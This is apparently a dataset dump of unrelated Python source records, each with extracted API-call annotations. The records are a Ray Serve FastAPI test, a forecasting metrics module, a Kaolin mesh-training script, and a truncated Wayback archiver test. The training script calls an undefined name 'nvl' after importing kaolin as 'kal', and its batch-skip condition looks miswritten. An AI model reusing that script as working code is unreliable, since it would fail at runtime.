assert app.routes[-1].endpoint == A.b
assert app.routes[-1].dependant.query_params[0].name == "self"
assert len(app.routes[-1].dependant.dependencies) == 0
make_fastapi_class_based_view(app, A)
# after, "self" is treated as a dependency instead of query params
assert app.routes[-1].endpoint == A.b
assert len(app.routes[-1].dependant.query_params) == 0
assert len(app.routes[-1].dependant.dependencies) == 1
self_dep = app.routes[-1].dependant.dependencies[0]
assert self_dep.name == "self"
assert inspect.isfunction(self_dep.call)
assert "get_current_servable" in str(self_dep.call)
if __name__ == "__main__":
import sys
sys.exit(pytest.main(["-v", "-s", __file__]))
| [
"ray.serve.ingress",
"requests.post",
"fastapi.FastAPI",
"ray.serve.utils.make_fastapi_class_based_view",
"requests.get",
"pytest.main",
"inspect.isfunction"
] | [((237, 246), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (244, 246), False, 'from fastapi import FastAPI\n'), ((326, 344), 'ray.serve.ingress', 'serve.ingress', (['app'], {}), '(app)\n', (339, 344), False, 'from ray import serve\n'), ((428, 472), 'requests.get', 'requests.get', (['f"""http://localhost:8000/f/100"""'], {}), "(f'http://localhost:8000/f/100')\n", (440, 472), False, 'import requests\n'), ((527, 578), 'requests.get', 'requests.get', (['f"""http://localhost:8000/f/not-number"""'], {}), "(f'http://localhost:8000/f/not-number')\n", (539, 578), False, 'import requests\n'), ((787, 796), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (794, 796), False, 'from fastapi import FastAPI\n'), ((876, 914), 'ray.serve.ingress', 'serve.ingress', (['app'], {'path_prefix': '"""/api"""'}), "(app, path_prefix='/api')\n", (889, 914), False, 'from ray import serve\n'), ((984, 1030), 'requests.get', 'requests.get', (['f"""http://localhost:8000/api/100"""'], {}), "(f'http://localhost:8000/api/100')\n", (996, 1030), False, 'import requests\n'), ((1156, 1165), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (1163, 1165), False, 'from fastapi import FastAPI\n'), ((1236, 1254), 'ray.serve.ingress', 'serve.ingress', (['app'], {}), '(app)\n', (1249, 1254), False, 'from ray import serve\n'), ((1544, 1592), 'requests.get', 'requests.get', (['f"""http://localhost:8000/f/calc/41"""'], {}), "(f'http://localhost:8000/f/calc/41')\n", (1556, 1592), False, 'import requests\n'), ((1633, 1682), 'requests.post', 'requests.post', (['f"""http://localhost:8000/f/calc/41"""'], {}), "(f'http://localhost:8000/f/calc/41')\n", (1646, 1682), False, 'import requests\n'), ((1723, 1769), 'requests.get', 'requests.get', (['f"""http://localhost:8000/f/other"""'], {}), "(f'http://localhost:8000/f/other')\n", (1735, 1769), False, 'import requests\n'), ((1850, 1859), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (1857, 1859), False, 'from fastapi import FastAPI\n'), ((2169, 2206), 'ray.serve.utils.make_fastapi_class_based_view', 'make_fastapi_class_based_view', (['app', 'A'], {}), '(app, A)\n', (2198, 2206), False, 'from ray.serve.utils import make_fastapi_class_based_view\n'), ((2541, 2574), 'inspect.isfunction', 'inspect.isfunction', (['self_dep.call'], {}), '(self_dep.call)\n', (2559, 2574), False, 'import inspect\n'), ((2688, 2723), 'pytest.main', 'pytest.main', (["['-v', '-s', __file__]"], {}), "(['-v', '-s', __file__])\n", (2699, 2723), False, 'import pytest\n')] |
# pylint: disable=g-bad-file-header
# Copyright 2020 DeepMind Technologies Limited. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Functions to calculate metrics on forecasts."""
import numpy as np
def check_shape_wrapper(func):
"""Wrapper that checks the shapes of predictions and ground truth."""
def wrapped_func(predictions, ground_truth):
assert predictions.shape == ground_truth.shape, (
f"Predictions array has shape {predictions.shape}, ground truth has "
f"shape {ground_truth.shape}")
assert predictions.ndim == 3, (
"Metrics calculation expects rank 3 predictions and ground truth.")
assert predictions.shape[-1] == 1, (
"Metrics calculation expects a single target")
return func(predictions, ground_truth)
wrapped_func.__name__ = func.__name__
return wrapped_func
@check_shape_wrapper
def rmse(predictions: np.ndarray, ground_truth: np.ndarray) -> float:
"""Gets the RMSE averaged over time and sites for the given predictions."""
squared_error = (predictions - ground_truth) ** 2
return np.sqrt(np.mean(squared_error))
@check_shape_wrapper
def mae(predictions: np.ndarray, ground_truth: np.ndarray) -> float:
"""Gets MAE averaged over time and sites for the given predictions."""
return np.mean(np.abs(predictions - ground_truth))
| [
"numpy.mean",
"numpy.abs"
] | [((1677, 1699), 'numpy.mean', 'np.mean', (['squared_error'], {}), '(squared_error)\n', (1684, 1699), True, 'import numpy as np\n'), ((1883, 1917), 'numpy.abs', 'np.abs', (['(predictions - ground_truth)'], {}), '(predictions - ground_truth)\n', (1889, 1917), True, 'import numpy as np\n')] |
# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import json
import numpy as np
import os
import torch
from torch.autograd import Variable
import torch.optim as optim
from torch.utils.data import DataLoader
import sys
from tqdm import tqdm
from utils import preprocess, pooling, get_pooling_index
from utils import setup_meshes, split_meshes, reset_meshes
from utils import loss_surf, loss_edge, loss_lap , collate_fn
from architectures import VGG as Encoder, G_Res_Net, MeshEncoder
import kaolin as kal
"""
Commandline arguments
"""
parser = argparse.ArgumentParser()
parser.add_argument('-expid', type=str, default='Direct', help='Unique experiment identifier.')
parser.add_argument('-device', type=str, default='cuda', help='Device to use')
parser.add_argument('-categories', type=str,nargs='+', default=['chair'], help='list of object classes to use')
parser.add_argument('-epochs', type=int, default=50, help='Number of train epochs.')
parser.add_argument('-lr', type=float, default=1e-4, help='Learning rate.')
parser.add_argument('-val-every', type=int, default=5, help='Validation frequency (epochs).')
parser.add_argument('-batch_size', type=int, default=5, help='batch size')
parser.add_argument('-print-every', type=int, default=20, help='Print frequency (batches).')
parser.add_argument('-latent_loss', action='store_true', help='indicates latent loss should be used')
parser.add_argument('-logdir', type=str, default='log', help='Directory to log data to.')
parser.add_argument('-save-model', action='store_true', help='Saves the model and a snapshot \
of the optimizer state.')
args = parser.parse_args()
"""
Dataset
"""
points_set = nvl.dataloader.ShapeNet.Points(root ='../../datasets/',categories =args.categories , \
download = True, train = True, split = .7, num_points=3000 )
images_set = nvl.dataloader.ShapeNet.Images(root ='../../datasets/',categories =args.categories , \
download = True, train = True, split = .7, views=23, transform= preprocess )
if args.latent_loss:
mesh_set = nvl.dataloader.ShapeNet.Surface_Meshes(root ='../../datasets/',categories =args.categories , \
resolution = 32, download = True, train = True, split = .7, mode = 'Tri' )
train_set = nvl.dataloader.ShapeNet.Combination([points_set, images_set, mesh_set], root='../../datasets/')
dataloader_train = DataLoader(train_set, batch_size=args.batch_size, shuffle=True, collate_fn=collate_fn,
num_workers=8)
else:
train_set = nvl.dataloader.ShapeNet.Combination([points_set, images_set], root='../../datasets/')
points_set_valid = nvl.dataloader.ShapeNet.Points(root ='../../datasets/',categories =args.categories , \
download = True, train = False, split = .7, num_points=10000 )
images_set_valid = nvl.dataloader.ShapeNet.Images(root ='../../datasets/',categories =args.categories , \
download = True, train = False, split = .7, views=1, transform= preprocess )
valid_set = nvl.dataloader.ShapeNet.Combination([points_set_valid, images_set_valid], root='../../datasets/')
dataloader_val = DataLoader(valid_set, batch_size=args.batch_size, shuffle=False, num_workers=8)
"""
Model settings
"""
meshes = setup_meshes(filename='meshes/386.obj', device=args.device)
encoders = [Encoder().to(args.device) for i in range(3)]
mesh_update_kernels = [963, 1091, 1091]
mesh_updates = [G_Res_Net(mesh_update_kernels[i], hidden = 128, output_features = 3).to(args.device) for i in range(3)]
if args.latent_loss:
mesh_encoder = MeshEncoder(30).to(args.device)
mesh_encoder.load_state_dict(torch.load('log/{}/auto_best_encoder.pth'.format(args.expid)))
parameters = []
for i in range(3):
parameters += list(encoders[i].parameters())
parameters += list(mesh_updates[i].parameters())
optimizer = optim.Adam(parameters, lr=args.lr)
encoding_dims = [56, 28, 14, 7]
"""
Initial settings
"""
# Create log directory, if it doesn't already exist
args.logdir = os.path.join(args.logdir, args.expid)
if not os.path.isdir(args.logdir):
os.makedirs(args.logdir)
print('Created dir:', args.logdir)
# Log all commandline args
with open(os.path.join(args.logdir, 'args.txt'), 'w') as f:
json.dump(args.__dict__, f, indent=2)
class Engine(object):
"""Engine that runs training and inference.
Args
- cur_epoch (int): Current epoch.
- print_every (int): How frequently (# batches) to print loss.
- validate_every (int): How frequently (# epochs) to run validation.
"""
def __init__(self, cur_epoch=0, print_every=1, validate_every=1):
self.cur_epoch = cur_epoch
self.train_loss = []
self.val_loss = []
self.bestval = 0
def train(self):
loss_epoch = 0.
num_batches = 0
[e.train() for e in encoders], [m.train() for m in mesh_updates]
# Train loop
for i, data in enumerate(tqdm(dataloader_train), 0):
optimizer.zero_grad()
###############################
####### data creation #########
###############################
tgt_points = data['points'].to(args.device)
inp_images = data['imgs'].to(args.device)
cam_mat = data['cam_mat'].to(args.device)
cam_pos = data['cam_pos'].to(args.device)
if (tgt_points.shape[0]!=args.batch_size) and (inp_images.shape[0]!=args.batch_size) \
and (cam_mat.shape[0]!=args.batch_size) and (cam_pos.shape[0]!=args.batch_size) :
continue
surf_loss, edge_loss, lap_loss, loss, f_loss = 0,0,0,0,0
###############################
########## inference ##########
###############################
img_features = [e(inp_images) for e in encoders]
for bn in range(args.batch_size):
reset_meshes(meshes)
##### layer_1 #####
pool_indices = get_pooling_index(meshes['init'][0].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[0], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][0].vertices, projected_image_features), dim = 1)
delta, future_features = mesh_updates[0](full_vert_features, meshes['adjs'][0])
meshes['update'][0].vertices = (meshes['init'][0].vertices + delta.clone())
future_features = split_meshes(meshes,future_features, 0)
##### layer_2 #####
pool_indices = get_pooling_index(meshes['init'][1].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[1], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][1].vertices, projected_image_features, future_features), dim = 1)
delta, future_features = mesh_updates[1](full_vert_features, meshes['adjs'][1])
meshes['update'][1].vertices = (meshes['init'][1].vertices + delta.clone())
future_features = split_meshes(meshes,future_features, 1)
##### layer_3 #####
pool_indices = get_pooling_index(meshes['init'][2].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[2], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][2].vertices, projected_image_features, future_features), dim = 1)
delta, future_features = mesh_updates[2](full_vert_features, meshes['adjs'][2])
meshes['update'][2].vertices = (meshes['init'][2].vertices + delta.clone())
if args.latent_loss:
inds = data['adj_indices'][bn]
vals = data['adj_values'][bn]
gt_verts = data['verts'][bn].to(args.device)
vert_len = gt_verts.shape[0]
gt_adj = torch.sparse.FloatTensor(inds, vals, torch.Size([vert_len,vert_len])).to(args.device)
predicted_latent = mesh_encoder(meshes['update'][2].vertices, meshes['adjs'][2])
gt_latent = mesh_encoder(gt_verts, gt_adj)
latent_loss = torch.mean(torch.abs(predicted_latent - gt_latent)) * .2
###############################
########## losses #############
###############################
surf_loss += (6000 * loss_surf(meshes, tgt_points[bn]) / float(args.batch_size))
edge_loss += (300 *.6 * loss_edge(meshes) / float(args.batch_size))
lap_loss += (1500 * loss_lap(meshes) / float(args.batch_size))
f_loss += nvl.metrics.point.f_score(.57*meshes['update'][2].sample(2466)[0],.57*tgt_points[bn], extend=False) / float(args.batch_size)
loss = surf_loss + edge_loss + lap_loss
if args.latent_loss:
loss += latent_loss
loss.backward()
loss_epoch += float(surf_loss.item())
# logging
num_batches += 1
if i % args.print_every == 0:
message = f'[TRAIN] Epoch {self.cur_epoch:03d}, Batch {i:03d}:, Loss: {(surf_loss.item()):4.3f}, '
message = message + f'Lap: {(lap_loss.item()):3.3f}, Edge: {(edge_loss.item()):3.3f}'
message = message + f' F: {(f_loss.item()):3.3f}'
if args.latent_loss:
message = message + f', Lat: {(latent_loss.item()):3.3f}'
tqdm.write(message)
optimizer.step()
loss_epoch = loss_epoch / num_batches
self.train_loss.append(loss_epoch)
self.cur_epoch += 1
def validate(self):
[e.eval() for e in encoders], [m.eval() for m in mesh_updates]
with torch.no_grad():
num_batches = 0
loss_epoch = 0.
loss_f = 0
# Validation loop
for i, data in enumerate(tqdm(dataloader_val), 0):
optimizer.zero_grad()
###############################
####### data creation #########
###############################
tgt_points = data['points'].to(args.device)
inp_images = data['imgs'].to(args.device)
cam_mat = data['cam_mat'].to(args.device)
cam_pos = data['cam_pos'].to(args.device)
if (tgt_points.shape[0]!=args.batch_size) and (inp_images.shape[0]!=args.batch_size) \
and (cam_mat.shape[0]!=args.batch_size) and (cam_pos.shape[0]!=args.batch_size) :
continue
surf_loss = 0
###############################
########## inference ##########
###############################
img_features = [e(inp_images) for e in encoders]
for bn in range(args.batch_size):
reset_meshes(meshes)
##### layer_1 #####
pool_indices = get_pooling_index(meshes['init'][0].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[0], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][0].vertices, projected_image_features), dim = 1)
delta, future_features = mesh_updates[0](full_vert_features, meshes['adjs'][0])
meshes['update'][0].vertices = (meshes['init'][0].vertices + delta.clone())
future_features = split_meshes(meshes,future_features, 0)
##### layer_2 #####
pool_indices = get_pooling_index(meshes['init'][1].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[1], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][1].vertices, projected_image_features, future_features), dim = 1)
delta, future_features = mesh_updates[1](full_vert_features, meshes['adjs'][1])
meshes['update'][1].vertices = (meshes['init'][1].vertices + delta.clone())
future_features = split_meshes(meshes,future_features, 1)
##### layer_3 #####
pool_indices = get_pooling_index(meshes['init'][2].vertices, cam_mat[bn], cam_pos[bn], encoding_dims)
projected_image_features = pooling(img_features[2], pool_indices, bn)
full_vert_features = torch.cat((meshes['init'][2].vertices, projected_image_features, future_features), dim = 1)
delta, future_features = mesh_updates[2](full_vert_features, meshes['adjs'][2])
meshes['update'][2].vertices = (meshes['init'][2].vertices + delta.clone())
pred_points, _ = meshes['update'][2].sample(10000)
###############################
########## losses #############
###############################
surf_loss = 3000 * nvl.metrics.point.chamfer_distance(pred_points, tgt_points[bn])
loss_f += (nvl.metrics.point.f_score(.57*meshes['update'][2].sample(2466)[0],.57*tgt_points[bn], extend=False).item() / float(args.batch_size))
loss_epoch += (surf_loss.item() / float(args.batch_size))
# logging
num_batches += 1
if i % args.print_every == 0:
out_loss = loss_epoch / float(num_batches)
out_f_loss = loss_f / float(num_batches)
tqdm.write(f'[VAL] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}')
out_f_loss = loss_f / float(num_batches)
out_loss = loss_epoch / float(num_batches)
tqdm.write(f'[VAL Total] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}')
self.val_loss.append(out_f_loss)
def save(self):
save_best = False
if self.val_loss[-1] >= self.bestval:
self.bestval = self.val_loss[-1]
save_best = True
# Create a dictionary of all data to save
log_table = {
'epoch': self.cur_epoch,
'bestval': self.bestval,
'train_loss': self.train_loss,
'val_loss': self.val_loss,
}
# Save the recent model/optimizer states
for i,e in enumerate(encoders):
torch.save(e.state_dict(), os.path.join(args.logdir, 'encoder_{}.pth'.format(i)))
for i,m in enumerate(mesh_updates):
torch.save(m.state_dict(), os.path.join(args.logdir, 'mesh_update_{}.pth'.format(i)))
torch.save(optimizer.state_dict(), os.path.join(args.logdir, 'recent_optim.pth'))
# Log other data corresponding to the recent model
with open(os.path.join(args.logdir, 'recent.log'), 'w') as f:
f.write(json.dumps(log_table))
tqdm.write('====== Saved recent model ======>')
if save_best:
for i,e in enumerate(encoders):
torch.save(e.state_dict(), os.path.join(args.logdir, 'best_encoder_{}.pth'.format(i)))
for i,m in enumerate(mesh_updates):
torch.save(m.state_dict(), os.path.join(args.logdir, 'best_mesh_update_{}.pth'.format(i)))
torch.save(optimizer.state_dict(), os.path.join(args.logdir, 'best_optim.pth'))
tqdm.write('====== Overwrote best model ======>')
trainer = Engine()
for epoch in range(args.epochs):
trainer.train()
if epoch % 4 == 0:
trainer.validate()
trainer.save()
| [
"architectures.VGG",
"architectures.G_Res_Net",
"utils.split_meshes",
"utils.reset_meshes",
"utils.loss_lap",
"argparse.ArgumentParser",
"tqdm.tqdm.write",
"json.dumps",
"os.path.isdir",
"utils.loss_surf",
"torch.abs",
"architectures.MeshEncoder",
"utils.setup_meshes",
"torch.Size",
"tor... | [((1120, 1145), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1143, 1145), False, 'import argparse\n'), ((3585, 3664), 'torch.utils.data.DataLoader', 'DataLoader', (['valid_set'], {'batch_size': 'args.batch_size', 'shuffle': '(False)', 'num_workers': '(8)'}), '(valid_set, batch_size=args.batch_size, shuffle=False, num_workers=8)\n', (3595, 3664), False, 'from torch.utils.data import DataLoader\n'), ((3701, 3760), 'utils.setup_meshes', 'setup_meshes', ([], {'filename': '"""meshes/386.obj"""', 'device': 'args.device'}), "(filename='meshes/386.obj', device=args.device)\n", (3713, 3760), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((4292, 4326), 'torch.optim.Adam', 'optim.Adam', (['parameters'], {'lr': 'args.lr'}), '(parameters, lr=args.lr)\n', (4302, 4326), True, 'import torch.optim as optim\n'), ((4456, 4493), 'os.path.join', 'os.path.join', (['args.logdir', 'args.expid'], {}), '(args.logdir, args.expid)\n', (4468, 4493), False, 'import os\n'), ((2891, 2997), 'torch.utils.data.DataLoader', 'DataLoader', (['train_set'], {'batch_size': 'args.batch_size', 'shuffle': '(True)', 'collate_fn': 'collate_fn', 'num_workers': '(8)'}), '(train_set, batch_size=args.batch_size, shuffle=True, collate_fn=\n collate_fn, num_workers=8)\n', (2901, 2997), False, 'from torch.utils.data import DataLoader\n'), ((4501, 4527), 'os.path.isdir', 'os.path.isdir', (['args.logdir'], {}), '(args.logdir)\n', (4514, 4527), False, 'import os\n'), ((4530, 4554), 'os.makedirs', 'os.makedirs', (['args.logdir'], {}), '(args.logdir)\n', (4541, 4554), False, 'import os\n'), ((4680, 4717), 'json.dump', 'json.dump', (['args.__dict__', 'f'], {'indent': '(2)'}), '(args.__dict__, f, indent=2)\n', (4689, 4717), False, 'import json\n'), ((4629, 4666), 'os.path.join', 'os.path.join', (['args.logdir', '"""args.txt"""'], {}), "(args.logdir, 'args.txt')\n", (4641, 4666), False, 'import os\n'), ((13853, 13900), 'tqdm.tqdm.write', 'tqdm.write', (['"""====== Saved recent model ======>"""'], {}), "('====== Saved recent model ======>')\n", (13863, 13900), False, 'from tqdm import tqdm\n'), ((3776, 3785), 'architectures.VGG', 'Encoder', ([], {}), '()\n', (3783, 3785), True, 'from architectures import VGG as Encoder, G_Res_Net, MeshEncoder\n'), ((3878, 3942), 'architectures.G_Res_Net', 'G_Res_Net', (['mesh_update_kernels[i]'], {'hidden': '(128)', 'output_features': '(3)'}), '(mesh_update_kernels[i], hidden=128, output_features=3)\n', (3887, 3942), False, 'from architectures import VGG as Encoder, G_Res_Net, MeshEncoder\n'), ((4019, 4034), 'architectures.MeshEncoder', 'MeshEncoder', (['(30)'], {}), '(30)\n', (4030, 4034), False, 'from architectures import VGG as Encoder, G_Res_Net, MeshEncoder\n'), ((5300, 5322), 'tqdm.tqdm', 'tqdm', (['dataloader_train'], {}), '(dataloader_train)\n', (5304, 5322), False, 'from tqdm import tqdm\n'), ((9485, 9500), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (9498, 9500), False, 'import torch\n'), ((12848, 12975), 'tqdm.tqdm.write', 'tqdm.write', (['f"""[VAL Total] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}"""'], {}), "(\n f'[VAL Total] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}'\n )\n", (12858, 12975), False, 'from tqdm import tqdm\n'), ((13652, 13697), 'os.path.join', 'os.path.join', (['args.logdir', '"""recent_optim.pth"""'], {}), "(args.logdir, 'recent_optim.pth')\n", (13664, 13697), False, 'import os\n'), ((14266, 14315), 'tqdm.tqdm.write', 'tqdm.write', (['"""====== Overwrote best model ======>"""'], {}), "('====== Overwrote best model ======>')\n", (14276, 14315), False, 'from tqdm import tqdm\n'), ((6095, 6115), 'utils.reset_meshes', 'reset_meshes', (['meshes'], {}), '(meshes)\n', (6107, 6115), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((6160, 6250), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][0].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][0].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (6177, 6250), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((6278, 6320), 'utils.pooling', 'pooling', (['img_features[0]', 'pool_indices', 'bn'], {}), '(img_features[0], pool_indices, bn)\n', (6285, 6320), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((6346, 6418), 'torch.cat', 'torch.cat', (["(meshes['init'][0].vertices, projected_image_features)"], {'dim': '(1)'}), "((meshes['init'][0].vertices, projected_image_features), dim=1)\n", (6355, 6418), False, 'import torch\n'), ((6612, 6652), 'utils.split_meshes', 'split_meshes', (['meshes', 'future_features', '(0)'], {}), '(meshes, future_features, 0)\n', (6624, 6652), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((6702, 6792), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][1].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][1].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (6719, 6792), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((6820, 6862), 'utils.pooling', 'pooling', (['img_features[1]', 'pool_indices', 'bn'], {}), '(img_features[1], pool_indices, bn)\n', (6827, 6862), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((6888, 6981), 'torch.cat', 'torch.cat', (["(meshes['init'][1].vertices, projected_image_features, future_features)"], {'dim': '(1)'}), "((meshes['init'][1].vertices, projected_image_features,\n future_features), dim=1)\n", (6897, 6981), False, 'import torch\n'), ((7171, 7211), 'utils.split_meshes', 'split_meshes', (['meshes', 'future_features', '(1)'], {}), '(meshes, future_features, 1)\n', (7183, 7211), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((7257, 7347), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][2].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][2].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (7274, 7347), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((7375, 7417), 'utils.pooling', 'pooling', (['img_features[2]', 'pool_indices', 'bn'], {}), '(img_features[2], pool_indices, bn)\n', (7382, 7417), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((7443, 7536), 'torch.cat', 'torch.cat', (["(meshes['init'][2].vertices, projected_image_features, future_features)"], {'dim': '(1)'}), "((meshes['init'][2].vertices, projected_image_features,\n future_features), dim=1)\n", (7452, 7536), False, 'import torch\n'), ((9239, 9258), 'tqdm.tqdm.write', 'tqdm.write', (['message'], {}), '(message)\n', (9249, 9258), False, 'from tqdm import tqdm\n'), ((9605, 9625), 'tqdm.tqdm', 'tqdm', (['dataloader_val'], {}), '(dataloader_val)\n', (9609, 9625), False, 'from tqdm import tqdm\n'), ((13764, 13803), 'os.path.join', 'os.path.join', (['args.logdir', '"""recent.log"""'], {}), "(args.logdir, 'recent.log')\n", (13776, 13803), False, 'import os\n'), ((13827, 13848), 'json.dumps', 'json.dumps', (['log_table'], {}), '(log_table)\n', (13837, 13848), False, 'import json\n'), ((14218, 14261), 'os.path.join', 'os.path.join', (['args.logdir', '"""best_optim.pth"""'], {}), "(args.logdir, 'best_optim.pth')\n", (14230, 14261), False, 'import os\n'), ((10373, 10393), 'utils.reset_meshes', 'reset_meshes', (['meshes'], {}), '(meshes)\n', (10385, 10393), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((10440, 10530), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][0].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][0].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (10457, 10530), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((10559, 10601), 'utils.pooling', 'pooling', (['img_features[0]', 'pool_indices', 'bn'], {}), '(img_features[0], pool_indices, bn)\n', (10566, 10601), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((10628, 10700), 'torch.cat', 'torch.cat', (["(meshes['init'][0].vertices, projected_image_features)"], {'dim': '(1)'}), "((meshes['init'][0].vertices, projected_image_features), dim=1)\n", (10637, 10700), False, 'import torch\n'), ((10898, 10938), 'utils.split_meshes', 'split_meshes', (['meshes', 'future_features', '(0)'], {}), '(meshes, future_features, 0)\n', (10910, 10938), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((10990, 11080), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][1].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][1].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (11007, 11080), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((11109, 11151), 'utils.pooling', 'pooling', (['img_features[1]', 'pool_indices', 'bn'], {}), '(img_features[1], pool_indices, bn)\n', (11116, 11151), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((11178, 11271), 'torch.cat', 'torch.cat', (["(meshes['init'][1].vertices, projected_image_features, future_features)"], {'dim': '(1)'}), "((meshes['init'][1].vertices, projected_image_features,\n future_features), dim=1)\n", (11187, 11271), False, 'import torch\n'), ((11465, 11505), 'utils.split_meshes', 'split_meshes', (['meshes', 'future_features', '(1)'], {}), '(meshes, future_features, 1)\n', (11477, 11505), False, 'from utils import setup_meshes, split_meshes, reset_meshes\n'), ((11553, 11643), 'utils.get_pooling_index', 'get_pooling_index', (["meshes['init'][2].vertices", 'cam_mat[bn]', 'cam_pos[bn]', 'encoding_dims'], {}), "(meshes['init'][2].vertices, cam_mat[bn], cam_pos[bn],\n encoding_dims)\n", (11570, 11643), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((11672, 11714), 'utils.pooling', 'pooling', (['img_features[2]', 'pool_indices', 'bn'], {}), '(img_features[2], pool_indices, bn)\n', (11679, 11714), False, 'from utils import preprocess, pooling, get_pooling_index\n'), ((11741, 11834), 'torch.cat', 'torch.cat', (["(meshes['init'][2].vertices, projected_image_features, future_features)"], {'dim': '(1)'}), "((meshes['init'][2].vertices, projected_image_features,\n future_features), dim=1)\n", (11750, 11834), False, 'import torch\n'), ((12640, 12760), 'tqdm.tqdm.write', 'tqdm.write', (['f"""[VAL] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}"""'], {}), "(\n f'[VAL] Epoch {self.cur_epoch:03d}, Batch {i:03d}: loss: {out_loss:3.3f}, loss: {out_f_loss:3.3f}'\n )\n", (12650, 12760), False, 'from tqdm import tqdm\n'), ((8335, 8368), 'utils.loss_surf', 'loss_surf', (['meshes', 'tgt_points[bn]'], {}), '(meshes, tgt_points[bn])\n', (8344, 8368), False, 'from utils import loss_surf, loss_edge, loss_lap, collate_fn\n'), ((8423, 8440), 'utils.loss_edge', 'loss_edge', (['meshes'], {}), '(meshes)\n', (8432, 8440), False, 'from utils import loss_surf, loss_edge, loss_lap, collate_fn\n'), ((8492, 8508), 'utils.loss_lap', 'loss_lap', (['meshes'], {}), '(meshes)\n', (8500, 8508), False, 'from utils import loss_surf, loss_edge, loss_lap, collate_fn\n'), ((8154, 8193), 'torch.abs', 'torch.abs', (['(predicted_latent - gt_latent)'], {}), '(predicted_latent - gt_latent)\n', (8163, 8193), False, 'import torch\n'), ((7936, 7968), 'torch.Size', 'torch.Size', (['[vert_len, vert_len]'], {}), '([vert_len, vert_len])\n', (7946, 7968), False, 'import torch\n')] |
import pytest
import responses
import json as jsonlib
from pathlib import Path
import pgark
import pgark.archivers.wayback as wb
FIXTURES_DIR = Path("tests/fixtures/_old")
@pytest.fixture
def success_urls():
target_url = "https://plainlanguage.gov/"
expected_url = wb.url_for_snapshot(target_url, "20200904183020")
return (target_url, expected_url)
@pytest.fixture
def save_success_response(success_urls):
srcdir = FIXTURES_DIR.joinpath("job-save-success")
target_url = success_urls[0]
submit_resptext = srcdir.joinpath("submit-response.html").read_text()
expected_job_url = wb.url_for_jobstatus(submit_resptext)
status_paths = iter(
[
srcdir.joinpath("status-0.json"),
srcdir.joinpath("status-1.json"),
srcdir.joinpath("status-9.json"),
